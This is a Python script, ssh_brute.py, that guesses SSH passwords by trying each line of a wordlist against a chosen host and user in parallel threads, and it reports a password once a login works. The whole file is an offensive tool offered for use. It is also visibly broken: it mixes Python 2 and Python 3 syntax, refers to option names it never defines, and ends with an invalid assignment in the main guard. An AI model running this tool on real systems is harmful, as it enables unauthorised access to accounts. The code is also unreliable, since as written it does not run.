ssh_brute.py

import pxssh
import optparse
import time
from threading import *

connection_lock = BoundedSemaphore(value=5)
Found = False
Fails = 0

def connect(host, user, password, release):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print(f'[+] Password Found: {password}')
        Found = True
    except Exception, e:
        if 'read_nonbloacking' in str(e):
            Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)
    finally:
        if release: connection_lock.release()

def main():
    parser = optparse.OptionParser('usage %prog '+'-H <target host> -u <user> -F <password list>')
    parser.add_option('-H', dest='tgt_host', type='string', help='specify target host')
    parser.add_option('-F', dest='passwd_file', type='string', help='specify password file')
    parser.add_option('-u', dest='user', type='string', help='specify user host')

    (options, args) = parser.parse_args()
    host = options.tgtHost
    passwd_file = options.passwdFile
    user = options.user
    if not host or not passwd_file or not user:
        print(parser.usage)
        exit(0)

    fn = open(passwd_file, 'r')
    for line in fn.readlines():
        if Found:
            print("[!] Exiting: Password Found")
            exit(0)
        if Fails > 5:
            print("[!] Exiting: Too Many Socket Timeouts")
            exit (0)

        connection_lock.acquire()
        password = line.strip('\r').strip('\n')
        print(f"[-] Testing: {password}")
        t = Thread(target=connect, args=(host, user, password, True))
        child = t.start()

        
if __name__ = '__main__':
    main()